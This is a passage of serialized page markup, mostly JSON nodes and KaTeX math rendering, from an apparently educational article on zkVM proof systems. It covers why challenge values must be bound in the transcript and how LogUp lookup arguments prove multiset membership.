,119404],{"type":24,"tag":327,"props":119401,"children":119403},{"className":119402,"style":118945},[3058],[],{"type":24,"tag":327,"props":119405,"children":119407},{"className":119406,"style":119166},[118963],[119408],{"type":24,"tag":327,"props":119409,"children":119411},{"className":119410,"style":119039},[119038],[119412],{"type":24,"tag":40985,"props":119413,"children":119414},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[119415],{"type":24,"tag":119051,"props":119416,"children":119417},{"d":119053},[],{"type":24,"tag":327,"props":119419,"children":119421},{"className":119420},[11695],[119422],{"type":29,"value":11698},{"type":24,"tag":327,"props":119424,"children":119426},{"className":119425,"style":3169},[2992],[],{"type":24,"tag":327,"props":119428,"children":119430},{"className":119429},[2977,118923],[119431],{"type":24,"tag":327,"props":119432,"children":119434},{"className":119433},[3037],[119435],{"type":24,"tag":327,"props":119436,"children":119438},{"className":119437},[3043],[119439],{"type":24,"tag":327,"props":119440,"children":119442},{"className":119441,"style":119009},[3048],[119443,119455],{"type":24,"tag":327,"props":119444,"children":119445},{"style":118940},[119446,119450],{"type":24,"tag":327,"props":119447,"children":119449},{"className":119448,"style":118945},[3058],[],{"type":24,"tag":327,"props":119451,"children":119453},{"className":119452,"style":99774},[2977,2978],[119454],{"type":29,"value":100593},{"type":24,"tag":327,"props":119456,"children":119457},{"style":118940},[119458,119462],{"type":24,"tag":327,"props":119459,"children":119461},{"className":119460,"style":118945},[3058],[],{"type":24,"tag":327,"props":119463,"children":119465},{"className":119464,"style":119033},[118963],[119466],{"type":24,"tag":327,"props":119467,"children":119469},{"className":119468,"style":119039},[119038],[119470],{"type":24,"tag":40985,"props":119471,"children":119472},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[119473],{"type":24,"tag":119051,"props":119474,"children":119475},{"d":119053},[],{"type":24,"tag":327,"props":119477,"children":119479},{"className":119478},[3143],[119480],{"type":29,"value":3146},{"type":24,"tag":25,"props":119482,"children":119483},{},[119484,119486,119555,119557,119703,119705,119844,119846,119930],{"type":29,"value":119485},"At a fixed challenge point ",{"type":24,"tag":284,"props":119487,"children":119489},{"className":119488},[2949,2950],[119490],{"type":24,"tag":327,"props":119491,"children":119493},{"className":119492},[2955],[119494],{"type":24,"tag":327,"props":119495,"children":119497},{"className":119496,"ariaHidden":2961},[2960],[119498],{"type":24,"tag":327,"props":119499,"children":119501},{"className":119500},[2966],[119502,119506],{"type":24,"tag":327,"props":119503,"children":119505},{"className":119504,"style":119009},[2971],[],{"type":24,"tag":327,"props":119507,"children":119509},{"className":119508},[2977,118923],[119510],{"type":24,"tag":327,"props":119511,"children":119513},{"className":119512},[3037],[119514],{"type":24,"tag":327,"props":119515,"children":119517},{"className":119516},[3043],[119518],{"type":24,"tag":327,"props":119519,"children":119521},{"className":119520,"style":119009},[3048],[119522,119534],{"type":24,"tag":327,"props":119523,"children":119524},{"style":118940},[119525,119529],{"type":24,"tag":327,"props":119526,"children":119528},{"className":119527,"style":118945},[3058],[],{"type":24,"tag":327,"props":119530,"children":119532},{"className":119531,"style":99774},[2977,2978],[119533],{"type":29,"value":100593},{"type":24,"tag":327,"props":119535,"children":119536},{"style":118940},[119537,119541],{"type":24,"tag":327,"props":119538,"children":119540},{"className":119539,"style":118945},[3058],[],{"type":24,"tag":327,"props":119542,"children":119544},{"className":119543,"style":119033},[118963],[119545],{"type":24,"tag":327,"props":119546,"children":119548},{"className":119547,"style":119039},[119038],[119549],{"type":24,"tag":40985,"props":119550,"children":119551},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[119552],{"type":24,"tag":119051,"props":119553,"children":119554},{"d":119053},[],{"type":29,"value":119556},", the coefficients ",{"type":24,"tag":284,"props":119558,"children":119560},{"className":119559},[2949,2950],[119561],{"type":24,"tag":327,"props":119562,"children":119564},{"className":119563},[2955],[119565],{"type":24,"tag":327,"props":119566,"children":119568},{"className":119567,"ariaHidden":2961},[2960],[119569],{"type":24,"tag":327,"props":119570,"children":119572},{"className":119571},[2966],[119573,119577,119586,119591,119640,119645,119649,119698],{"type":24,"tag":327,"props":119574,"children":119576},{"className":119575,"style":119352},[2971],[],{"type":24,"tag":327,"props":119578,"children":119580},{"className":119579},[2977,29],[119581],{"type":24,"tag":327,"props":119582,"children":119584},{"className":119583},[2977],[119585],{"type":29,"value":119363},{"type":24,"tag":327,"props":119587,"children":119589},{"className":119588},[3121],[119590],{"type":29,"value":349},{"type":24,"tag":327,"props":119592,"children":119594},{"className":119593},[2977,118923],[119595],{"type":24,"tag":327,"props":119596,"children":119598},{"className":119597},[3037],[119599],{"type":24,"tag":327,"props":119600,"children":119602},{"className":119601},[3043],[119603],{"type":24,"tag":327,"props":119604,"children":119606},{"className":119605,"style":119139},[3048],[119607,119619],{"type":24,"tag":327,"props":119608,"children":119609},{"style":118940},[119610,119614],{"type":24,"tag":327,"props":119611,"children":119613},{"className":119612,"style":118945},[3058],[],{"type":24,"tag":327,"props":119615,"children":119617},{"className":119616},[2977,2978],[119618],{"type":29,"value":10828},{"type":24,"tag":327,"props":119620,"children":119621},{"style":119307},[119622,119626],{"type":24,"tag":327,"props":119623,"children":119625},{"className":119624,"style":118945},[3058],[],{"type":24,"tag":327,"props":119627,"children":119629},{"className":119628,"style":119166},[118963],[119630],{"type":24,"tag":327,"props":119631,"children":119633},{"className":119632,"style":119039},[119038],[119634],{"type":24,"tag":40985,"props":119635,"children":119636},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[119637],{"type":24,"tag":119051,"props":119638,"children":119639},{"d":119053},[],{"type":24,"tag":327,"props":119641,"children":119643},{"className":119642},[11695],[119644],{"type":29,"value":11698},{"type":24,"tag":327,"props":119646,"children":119648},{"className":119647,"style":3169},[2992],[],{"type":24,"tag":327,"props":119650,"children":119652},{"className":119651},[2977,118923],[119653],{"type":24,"tag":327,"props":119654,"children":119656},{"className":119655},[3037],[119657],{"type":24,"tag":327,"props":119658,"children":119660},{"className":119659},[3043],[119661],{"type":24,"tag":327,"props":119662,"children":119664},{"className":119663,"style":119009},[3048],[119665,119677],{"type":24,"tag":327,"props":119666,"children":119667},{"style":118940},[119668,119672],{"type":24,"tag":327,"props":119669,"children":119671},{"className":119670,"style":118945},[3058],[],{"type":24,"tag":327,"props":119673,"children":119675},{"className":119674,"style":99774},[2977,2978],[119676],{"type":29,"value":100593},{"type":24,"tag":327,"props":119678,"children":119679},{"style":118940},[119680,119684],{"type":24,"tag":327,"props":119681,"children":119683},{"className":119682,"style":118945},[3058],[],{"type":24,"tag":327,"props":119685,"children":119687},{"className":119686,"style":119033},[118963],[119688],{"type":24,"tag":327,"props":119689,"children":119691},{"className":119690,"style":119039},[119038],[119692],{"type":24,"tag":40985,"props":119693,"children":119694},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[119695],{"type":24,"tag":119051,"props":119696,"children":119697},{"d":119053},[],{"type":24,"tag":327,"props":119699,"children":119701},{"className":119700},[3143],[119702],{"type":29,"value":3146},{"type":29,"value":119704}," are constants, so ",{"type":24,"tag":284,"props":119706,"children":119708},{"className":119707},[2949,2950],[119709],{"type":24,"tag":327,"props":119710,"children":119712},{"className":119711},[2955],[119713],{"type":24,"tag":327,"props":119714,"children":119716},{"className":119715,"ariaHidden":2961},[2960],[119717],{"type":24,"tag":327,"props":119718,"children":119720},{"className":119719},[2966],[119721,119725,119785,119790,119839],{"type":24,"tag":327,"props":119722,"children":119724},{"className":119723,"style":118918},[2971],[],{"type":24,"tag":327,"props":119726,"children":119728},{"className":119727},[2977,118923],[119729],{"type":24,"tag":327,"props":119730,"children":119732},{"className":119731},[3037,3038],[119733,119774],{"type":24,"tag":327,"props":119734,"children":119736},{"className":119735},[3043],[119737,119769],{"type":24,"tag":327,"props":119738,"children":119740},{"className":119739,"style":118936},[3048],[119741,119753],{"type":24,"tag":327,"props":119742,"children":119743},{"style":118940},[119744,119748],{"type":24,"tag":327,"props":119745,"children":119747},{"className":119746,"style":118945},[3058],[],{"type":24,"tag":327,"props":119749,"children":119751},{"className":119750,"style":102128},[2977,2978],[119752],{"type":29,"value":39796},{"type":24,"tag":327,"props":119754,"children":119755},{"style":118954},[119756,119760],{"type":24,"tag":327,"props":119757,"children":119759},{"className":119758,"style":118945},[3058],[],{"type":24,"tag":327,"props":119761,"children":119763},{"className":119762,"style":118964},[118963],[119764],{"type":24,"tag":327,"props":119765,"children":119767},{"className":119766},[2977],[119768],{"type":29,"value":118971},{"type":24,"tag":327,"props":119770,"children":119772},{"className":119771},[3150],[119773],{"type":29,"value":3153},{"type":24,"tag":327,"props":119775,"children":119777},{"className":119776},[3043],[119778],{"type":24,"tag":327,"props":119779,"children":119781},{"className":119780,"style":118984},[3048],[119782],{"type":24,"tag":327,"props":119783,"children":119784},{},[],{"type":24,"tag":327,"props":119786,"children":119788},{"className":119787},[3121],[119789],{"type":29,"value":349},{"type":24,"tag":327,"props":119791,"children":119793},{"className":119792},[2977,118923],[119794],{"type":24,"tag":327,"props":119795,"children":119797},{"className":119796},[3037],[119798],{"type":24,"tag":327,"props":119799,"children":119801},{"className":119800},[3043],[119802],{"type":24,"tag":327,"props":119803,"children":119805},{"className":119804,"style":119009},[3048],[119806,119818],{"type":24,"tag":327,"props":119807,"children":119808},{"style":118940},[119809,119813],{"type":24,"tag":327,"props":119810,"children":119812},{"className":119811,"style":118945},[3058],[],{"type":24,"tag":327,"props":119814,"children":119816},{"className":119815,"style":99774},[2977,2978],[119817],{"type":29,"value":100593},{"type":24,"tag":327,"props":119819,"children":119820},{"style":118940},[119821,119825],{"type":24,"tag":327,"props":119822,"children":119824},{"className":119823,"style":118945},[3058],[],{"type":24,"tag":327,"props":119826,"children":119828},{"className":119827,"style":119033},[118963],[119829],{"type":24,"tag":327,"props":119830,"children":119832},{"className":119831,"style":119039},[119038],[119833],{"type":24,"tag":40985,"props":119834,"children":119835},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[119836],{"type":24,"tag":119051,"props":119837,"children":119838},{"d":119053},[],{"type":24,"tag":327,"props":119840,"children":119842},{"className":119841},[3143],[119843],{"type":29,"value":3146},{"type":29,"value":119845}," is linear in the table values ",{"type":24,"tag":284,"props":119847,"children":119849},{"className":119848},[2949,2950],[119850],{"type":24,"tag":327,"props":119851,"children":119853},{"className":119852},[2955],[119854],{"type":24,"tag":327,"props":119855,"children":119857},{"className":119856,"ariaHidden":2961},[2960],[119858],{"type":24,"tag":327,"props":119859,"children":119861},{"className":119860},[2966],[119862,119866,119871,119876,119925],{"type":24,"tag":327,"props":119863,"children":119865},{"className":119864,"style":119352},[2971],[],{"type":24,"tag":327,"props":119867,"children":119869},{"className":119868,"style":102128},[2977,2978],[119870],{"type":29,"value":39796},{"type":24,"tag":327,"props":119872,"children":119874},{"className":119873},[3121],[119875],{"type":29,"value":349},{"type":24,"tag":327,"props":119877,"children":119879},{"className":119878},[2977,118923],[119880],{"type":24,"tag":327,"props":119881,"children":119883},{"className":119882},[3037],[119884],{"type":24,"tag":327,"props":119885,"children":119887},{"className":119886},[3043],[119888],{"type":24,"tag":327,"props":119889,"children":119891},{"className":119890,"style":119139},[3048],[119892,119904],{"type":24,"tag":327,"props":119893,"children":119894},{"style":118940},[119895,119899],{"type":24,"tag":327,"props":119896,"children":119898},{"className":119897,"style":118945},[3058],[],{"type":24,"tag":327,"props":119900,"children":119902},{"className":119901},[2977,2978],[119903],{"type":29,"value":10828},{"type":24,"tag":327,"props":119905,"children":119906},{"style":119307},[119907,119911],{"type":24,"tag":327,"props":119908,"children":119910},{"className":119909,"style":118945},[3058],[],{"type":24,"tag":327,"props":119912,"children":119914},{"className":119913,"style":119166},[118963],[119915],{"type":24,"tag":327,"props":119916,"children":119918},{"className":119917,"style":119039},[119038],[119919],{"type":24,"tag":40985,"props":119920,"children":119921},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[119922],{"type":24,"tag":119051,"props":119923,"children":119924},{"d":119053},[],{"type":24,"tag":327,"props":119926,"children":119928},{"className":119927},[3143],[119929],{"type":29,"value":3146},{"type":29,"value":66},{"type":24,"tag":25,"props":119932,"children":119933},{},[119934,119936,120005],{"type":29,"value":119935},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":24,"tag":284,"props":119937,"children":119939},{"className":119938},[2949,2950],[119940],{"type":24,"tag":327,"props":119941,"children":119943},{"className":119942},[2955],[119944],{"type":24,"tag":327,"props":119945,"children":119947},{"className":119946,"ariaHidden":2961},[2960],[119948],{"type":24,"tag":327,"props":119949,"children":119951},{"className":119950},[2966],[119952,119956],{"type":24,"tag":327,"props":119953,"children":119955},{"className":119954,"style":119009},[2971],[],{"type":24,"tag":327,"props":119957,"children":119959},{"className":119958},[2977,118923],[119960],{"type":24,"tag":327,"props":119961,"children":119963},{"className":119962},[3037],[119964],{"type":24,"tag":327,"props":119965,"children":119967},{"className":119966},[3043],[119968],{"type":24,"tag":327,"props":119969,"children":119971},{"className":119970,"style":119009},[3048],[119972,119984],{"type":24,"tag":327,"props":119973,"children":119974},{"style":118940},[119975,119979],{"type":24,"tag":327,"props":119976,"children":119978},{"className":119977,"style":118945},[3058],[],{"type":24,"tag":327,"props":119980,"children":119982},{"className":119981,"style":99774},[2977,2978],[119983],{"type":29,"value":100593},{"type":24,"tag":327,"props":119985,"children":119986},{"style":118940},[119987,119991],{"type":24,"tag":327,"props":119988,"children":119990},{"className":119989,"style":118945},[3058],[],{"type":24,"tag":327,"props":119992,"children":119994},{"className":119993,"style":119033},[118963],[119995],{"type":24,"tag":327,"props":119996,"children":119998},{"className":119997,"style":119039},[119038],[119999],{"type":24,"tag":40985,"props":120000,"children":120001},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[120002],{"type":24,"tag":119051,"props":120003,"children":120004},{"d":119053},[],{"type":29,"value":120006}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":24,"tag":235,"props":120008,"children":120010},{"id":120009},"lookup-arguments-logup",[120011],{"type":29,"value":120012},"Lookup Arguments (LogUp)",{"type":24,"tag":25,"props":120014,"children":120015},{},[120016],{"type":29,"value":120017},"zkVMs need to check that values satisfy certain properties. For example:",{"type":24,"tag":1380,"props":120019,"children":120020},{},[120021,120077,120082],{"type":24,"tag":179,"props":120022,"children":120023},{},[120024,120026,120076],{"type":29,"value":120025},"Is this byte in range ",{"type":24,"tag":284,"props":120027,"children":120029},{"className":120028},[2949,2950],[120030],{"type":24,"tag":327,"props":120031,"children":120033},{"className":120032},[2955],[120034],{"type":24,"tag":327,"props":120035,"children":120037},{"className":120036,"ariaHidden":2961},[2960],[120038],{"type":24,"tag":327,"props":120039,"children":120041},{"className":120040},[2966],[120042,120046,120051,120056,120061,120065,120071],{"type":24,"tag":327,"props":120043,"children":120045},{"className":120044,"style":3685},[2971],[],{"type":24,"tag":327,"props":120047,"children":120049},{"className":120048},[3121],[120050],{"type":29,"value":11329},{"type":24,"tag":327,"props":120052,"children":120054},{"className":120053},[2977],[120055],{"type":29,"value":2988},{"type":24,"tag":327,"props":120057,"children":120059},{"className":120058},[11695],[120060],{"type":29,"value":11698},{"type":24,"tag":327,"props":120062,"children":120064},{"className":120063,"style":3169},[2992],[],{"type":24,"tag":327,"props":120066,"children":120068},{"className":120067},[2977],[120069],{"type":29,"value":120070},"255",{"type":24,"tag":327,"props":120072,"children":120074},{"className":120073},[3143],[120075],{"type":29,"value":22934},{"type":29,"value":7437},{"type":24,"tag":179,"props":120078,"children":120079},{},[120080],{"type":29,"value":120081},"Does this opcode decode correctly?",{"type":24,"tag":179,"props":120083,"children":120084},{},[120085],{"type":29,"value":120086},"Is this memory access consistent with previous accesses?",{"type":24,"tag":25,"props":120088,"children":120089},{},[120090,120095],{"type":24,"tag":188,"props":120091,"children":120092},{},[120093],{"type":29,"value":120094},"The naive approach:",{"type":29,"value":120096}," Add constraints for each check. Expensive.",{"type":24,"tag":25,"props":120098,"children":120099},{},[120100,120105,120107,120112],{"type":24,"tag":188,"props":120101,"children":120102},{},[120103],{"type":29,"value":120104},"The clever approach:",{"type":29,"value":120106}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":24,"tag":188,"props":120108,"children":120109},{},[120110],{"type":29,"value":120111},"multiset membership",{"type":29,"value":74520},{"type":24,"tag":25,"props":120114,"children":120115},{},[120116,120121],{"type":24,"tag":188,"props":120117,"children":120118},{},[120119],{"type":29,"value":120120},"LogUp (Logarithmic Derivative):",{"type":29,"value":120122}," Encode multiset membership as a sum of fractions.",{"type":24,"tag":25,"props":120124,"children":120125},{},[120126,120128,120153,120155,120182],{"type":29,"value":120127},"If set ",{"type":24,"tag":284,"props":120129,"children":120131},{"className":120130},[2949,2950],[120132],{"type":24,"tag":327,"props":120133,"children":120135},{"className":120134},[2955],[120136],{"type":24,"tag":327,"props":120137,"children":120139},{"className":120138,"ariaHidden":2961},[2960],[120140],{"type":24,"tag":327,"props":120141,"children":120143},{"className":120142},[2966],[120144,120148],{"type":24,"tag":327,"props":120145,"children":120147},{"className":120146,"style":2972},[2971],[],{"type":24,"tag":327,"props":120149,"children":120151},{"className":120150},[2977,2978],[120152],{"type":29,"value":83494},{"type":29,"value":120154}," should equal set ",{"type":24,"tag":284,"props":120156,"children":120158},{"className":120157},[2949,2950],[120159],{"type":24,"tag":327,"props":120160,"children":120162},{"className":120161},[2955],[120163],{"type":24,"tag":327,"props":120164,"children":120166},{"className":120165,"ariaHidden":2961},[2960],[120167],{"type":24,"tag":327,"props":120168,"children":120170},{"className":120169},[2966],[120171,120175],{"type":24,"tag":327,"props":120172,"children":120174},{"className":120173,"style":2972},[2971],[],{"type":24,"tag":327,"props":120176,"children":120179},{"className":120177,"style":120178},[2977,2978],"margin-right:0.05017em;",[120180],{"type":29,"value":120181},"B",{"type":29,"value":120183}," as multisets:",{"type":24,"tag":25,"props":120185,"children":120186},{},[120187],{"type":24,"tag":284,"props":120188,"children":120190},{"className":120189},[2949,2950],[120191],{"type":24,"tag":327,"props":120192,"children":120194},{"className":120193},[2955],[120195],{"type":24,"tag":327,"props":120196,"children":120198},{"className":120197,"ariaHidden":2961},[2960],[120199,120414],{"type":24,"tag":327,"props":120200,"children":120202},{"className":120201},[2966],[120203,120208,120281,120285,120401,120405,120410],{"type":24,"tag":327,"props":120204,"children":120207},{"className":120205,"style":120206},[2971],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":24,"tag":327,"props":120209,"children":120211},{"className":120210},[3018],[120212,120217],{"type":24,"tag":327,"props":120213,"children":120215},{"className":120214,"style":3025},[3018,3023,3024],[120216],{"type":29,"value":115569},{"type":24,"tag":327,"props":120218,"children":120220},{"className":120219},[3032],[120221],{"type":24,"tag":327,"props":120222,"children":120224},{"className":120223},[3037,3038],[120225,120269],{"type":24,"tag":327,"props":120226,"children":120228},{"className":120227},[3043],[120229,120264],{"type":24,"tag":327,"props":120230,"children":120233},{"className":120231,"style":120232},[3048],"height:0.1786em;",[120234],{"type":24,"tag":327,"props":120235,"children":120236},{"style":3053},[120237,120241],{"type":24,"tag":327,"props":120238,"children":120240},{"className":120239,"style":3059},[3058],[],{"type":24,"tag":327,"props":120242,"children":120244},{"className":120243},[3064,3065,3066,3067],[120245],{"type":24,"tag":327,"props":120246,"children":120248},{"className":120247},[2977,3067],[120249,120254,120259],{"type":24,"tag":327,"props":120250,"children":120252},{"className":120251},[2977,2978,3067],[120253],{"type":29,"value":57},{"type":24,"tag":327,"props":120255,"children":120257},{"className":120256},[2998,3067],[120258],{"type":29,"value":3099},{"type":24,"tag":327,"props":120260,"children":120262},{"className":120261},[2977,2978,3067],[120263],{"type":29,"value":83494},{"type":24,"tag":327,"props":120265,"children":120267},{"className":120266},[3150],[120268],{"type":29,"value":3153},{"type":24,"tag":327,"props":120270,"children":120272},{"className":120271},[3043],[120273],{"type":24,"tag":327,"props":120274,"children":120277},{"className":120275,"style":120276},[3048],"height:0.3271em;",[120278],{"type":24,"tag":327,"props":120279,"children":120280},{},[],{"type":24,"tag":327,"props":120282,"children":120284},{"className":120283,"style":3169},[2992],[],{"type":24,"tag":327,"props":120286,"children":120288},{"className":120287},[2977],[120289,120294,120397],{"type":24,"tag":327,"props":120290,"children":120293},{"className":120291},[3121,120292],"nulldelimiter",[],{"type":24,"tag":327,"props":120295,"children":120298},{"className":120296},[120297],"mfrac",[120299],{"type":24,"tag":327,"props":120300,"children":120302},{"className":120301},[3037,3038],[120303,120385],{"type":24,"tag":327,"props":120304,"children":120306},{"className":120305},[3043],[120307,120380],{"type":24,"tag":327,"props":120308,"children":120311},{"className":120309,"style":120310},[3048],"height:0.8451em;",[120312,120345,120359],{"type":24,"tag":327,"props":120313,"children":120315},{"style":120314},"top:-2.655em;",[120316,120320],{"type":24,"tag":327,"props":120317,"children":120319},{"className":120318,"style":118945},[3058],[],{"type":24,"tag":327,"props":120321,"children":120323},{"className":120322},[3064,3065,3066,3067],[120324],{"type":24,"tag":327,"props":120325,"children":120327},{"className":120326},[2977,3067],[120328,120335,120340],{"type":24,"tag":327,"props":120329,"children":120332},{"className":120330,"style":120331},[2977,2978,3067],"margin-right:0.04398em;",[120333],{"type":29,"value":120334},"z",{"type":24,"tag":327,"props":120336,"children":120338},{"className":120337},[3710,3067],[120339],{"type":29,"value":11647},{"type":24,"tag":327,"props":120341,"children":120343},{"className":120342},[2977,2978,3067],[120344],{"type":29,"value":57},{"type":24,"tag":327,"props":120346,"children":120348},{"style":120347},"top:-3.23em;",[120349,120353],{"type":24,"tag":327,"props":120350,"children":120352},{"className":120351,"style":118945},[3058],[],{"type":24,"tag":327,"props":120354,"children":120358},{"className":120355,"style":120357},[120356],"frac-line","border-bottom-width:0.04em;",[],{"type":24,"tag":327,"props":120360,"children":120362},{"style":120361},"top:-3.394em;",[120363,120367],{"type":24,"tag":327,"props":120364,"children":120366},{"className":120365,"style":118945},[3058],[],{"type":24,"tag":327,"props":120368,"children":120370},{"className":120369},[3064,3065,3066,3067],[120371],{"type":24,"tag":327,"props":120372,"children":120374},{"className":120373},[2977,3067],[120375],{"type":24,"tag":327,"props":120376,"children":120378},{"className":120377},[2977,3067],[120379],{"type":29,"value":3238},{"type":24,"tag":327,"props":120381,"children":120383},{"className":120382},[3150],[120384],{"type":29,"value":3153},{"type":24,"tag":327,"props":120386,"children":120388},{"className":120387},[3043],[120389],{"type":24,"tag":327,"props":120390,"children":120393},{"className":120391,"style":120392},[3048],"height:0.4033em;",[120394],{"type":24,"tag":327,"props":120395,"children":120396},{},[],{"type":24,"tag":327,"props":120398,"children":120400},{"className":120399},[3143,120292],[],{"type":24,"tag":327,"props":120402,"children":120404},{"className":120403,"style":2993},[2992],[],{"type":24,"tag":327,"props":120406,"children":120408},{"className":120407},[2998],[120409],{"type":29,"value":384},{"type":24,"tag":327,"props":120411,"children":120413},{"className":120412,"style":2993},[2992],[],{"type":24,"tag":327,"props":120415,"children":120417},{"className":120416},[2966],[120418,120422,120494,120498],{"type":24,"tag":327,"props":120419,"children":120421},{"className":120420,"style":120206},[2971],[],{"type":24,"tag":327,"props":120423,"children":120425},{"className":120424},[3018],[120426,120431],{"type":24,"tag":327,"props":120427,"children":120429},{"className":120428,"style":3025},[3018,3023,3024],[120430],{"type":29,"value":115569},{"type":24,"tag":327,"props":120432,"children":120434},{"className":120433},[3032],[120435],{"type":24,"tag":327,"props":120436,"children":120438},{"className":120437},[3037,3038],[120439,120483],{"type":24,"tag":327,"props":120440,"children":120442},{"className":120441},[3043],[120443,120478],{"type":24,"tag":327,"props":120444,"children":120447},{"className":120445,"style":120446},[3048],"height:0.1864em;",[120448],{"type":24,"tag":327,"props":120449,"children":120450},{"style":3053},[120451,120455],{"type":24,"tag":327,"props":120452,"children":120454},{"className":120453,"style":3059},[3058],[],{"type":24,"tag":327,"props":120456,"children":120458},{"className":120457},[3064,3065,3066,3067],[120459],{"type":24,"tag":327,"props":120460,"children":120462},{"className":120461},[2977,3067],[120463,120468,120473],{"type":24,"tag":327,"props":120464,"children":120466},{"className":120465},[2977,2978,3067],[120467],{"type":29,"value":10828},{"type":24,"tag":327,"props":120469,"children":120471},{"className":120470},[2998,3067],[120472],{"type":29,"value":3099},{"type":24,"tag":327,"props":120474,"children":120476},{"className":120475,"style":120178},[2977,2978,3067],[120477],{"type":29,"value":120181},{"type":24,"tag":327,"props":120479,"children":120481},{"className":120480},[3150],[120482],{"type":29,"value":3153},{"type":24,"tag":327,"props":120484,"children":120486},{"className":120485},[3043],[120487],{"type":24,"tag":327,"props":120488,"children":120490},{"className":120489,"style":120276},[3048],[120491],{"type":24,"tag":327,"props":120492,"children":120493},{},[],{"type":24,"tag":327,"props":120495,"children":120497},{"className":120496,"style":3169},[2992],[],{"type":24,"tag":327,"props":120499,"children":120501},{"className":120500},[2977],[120502,120506,120599],{"type":24,"tag":327,"props":120503,"children":120505},{"className":120504},[3121,120292],[],{"type":24,"tag":327,"props":120507,"children":120509},{"className":120508},[120297],[120510],{"type":24,"tag":327,"props":120511,"children":120513},{"className":120512},[3037,3038],[120514,120588],{"type":24,"tag":327,"props":120515,"children":120517},{"className":120516},[3043],[120518,120583],{"type":24,"tag":327,"props":120519,"children":120521},{"className":120520,"style":120310},[3048],[120522,120552,120563],{"type":24,"tag":327,"props":120523,"children":120524},{"style":120314},[120525,120529],{"type":24,"tag":327,"props":120526,"children":120528},{"className":120527,"style":118945},[3058],[],{"type":24,"tag":327,"props":120530,"children":120532},{"className":120531},[3064,3065,3066,3067],[120533],{"type":24,"tag":327,"props":120534,"children":120536},{"className":120535},[2977,3067],[120537,120542,120547],{"type":24,"tag":327,"props":120538,"children":120540},{"className":120539,"style":120331},[2977,2978,3067],[120541],{"type":29,"value":120334},{"type":24,"tag":327,"props":120543,"children":120545},{"className":120544},[3710,3067],[120546],{"type":29,"value":11647},{"type":24,"tag":327,"props":120548,"children":120550},{"className":120549},[2977,2978,3067],[120551],{"type":29,"value":10828},{"type":24,"tag":327,"props":120553,"children":120554},{"style":120347},[120555,120559],{"type":24,"tag":327,"props":120556,"children":120558},{"className":120557,"style":118945},[3058],[],{"type":24,"tag":327,"props":120560,"children":120562},{"className":120561,"style":120357},[120356],[],{"type":24,"tag":327,"props":120564,"children":120565},{"style":120361},[120566,120570],{"type":24,"tag":327,"props":120567,"children":120569},{"className":120568,"style":118945},[3058],[],{"type":24,"tag":327,"props":120571,"children":120573},{"className":120572},[3064,3065,3066,3067],[120574],{"type":24,"tag":327,"props":120575,"children":120577},{"className":120576},[2977,3067],[120578],{"type":24,"tag":327,"props":120579,"children":120581},{"className":120580},[2977,3067],[120582],{"type":29,"value":3238},{"type":24,"tag":327,"props":120584,"children":120586},{"className":120585},[3150],[120587],{"type":29,"value":3153},{"type":24,"tag":327,"props":120589,"children":120591},{"className":120590},[3043],[120592],{"type":24,"tag":327,"props":120593,"children":120595},{"className":120594,"style":120392},[3048],[120596],{"type":24,"tag":327,"props":120597,"children":120598},{},[],{"type":24,"tag":327,"props":120600,"children":120602},{"className":120601},[3143,120292],[],{"type":24,"tag":25,"props":120604,"children":120605},{},[120606,120608,120633],{"type":29,"value":120607},"for random challenge ",{"type":24,"tag":284,"props":120609,"children":120611},{"className":120610},[2949,2950],[120612],{"type":24,"tag":327,"props":120613,"children":120615},{"className":120614},[2955],[120616],{"type":24,"tag":327,"props":120617,"children":120619},{"className":120618,"ariaHidden":2961},[2960],[120620],{"type":24,"tag":327,"props":120621,"children":120623},{"className":120622},[2966],[120624,120628],{"type":24,"tag":327,"props":120625,"children":120627},{"className":120626,"style":117615},[2971],[],{"type":24,"tag":327,"props":120629,"children":120631},{"className":120630,"style":120331},[2977,2978],[120632],{"type":29,"value":120334},{"type":29,"value":120634},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":24,"tag":25,"props":120636,"children":120637},{},[120638,120643],{"type":24,"tag":188,"props":120639,"children":120640},{},[120641],{"type":29,"value":120642},"In zkVMs:",{"type":29,"value":120644}," Different components emit and consume lookup tuples:",{"type":24,"tag":1380,"props":120646,"children":120647},{},[120648,120735],{"type":24,"tag":179,"props":120649,"children":120650},{},[120651,120653,120679,120681,120706,120708,120734],{"type":29,"value":120652},"CPU emits: \"I read value ",{"type":24,"tag":284,"props":120654,"children":120656},{"className":120655},[2949,2950],[120657],{"type":24,"tag":327,"props":120658,"children":120660},{"className":120659},[2955],[120661],{"type":24,"tag":327,"props":120662,"children":120664},{"className":120663,"ariaHidden":2961},[2960],[120665],{"type":24,"tag":327,"props":120666,"children":120668},{"className":120667},[2966],[120669,120673],{"type":24,"tag":327,"props":120670,"children":120672},{"className":120671,"style":117615},[2971],[],{"type":24,"tag":327,"props":120674,"children":120676},{"className":120675,"style":100260},[2977,2978],[120677],{"type":29,"value":120678},"v",{"type":29,"value":120680}," from address ",{"type":24,"tag":284,"props":120682,"children":120684},{"className":120683},[2949,2950],[120685],{"type":24,"tag":327,"props":120686,"children":120688},{"className":120687},[2955],[120689],{"type":24,"tag":327,"props":120690,"children":120692},{"className":120691,"ariaHidden":2961},[2960],[120693],{"type":24,"tag":327,"props":120694,"children":120696},{"className":120695},[2966],[120697,120701],{"type":24,"tag":327,"props":120698,"children":120700},{"className":120699,"style":117615},[2971],[],{"type":24,"tag":327,"props":120702,"children":120704},{"className":120703},[2977,2978],[120705],{"type":29,"value":57},{"type":29,"value":120707}," at time 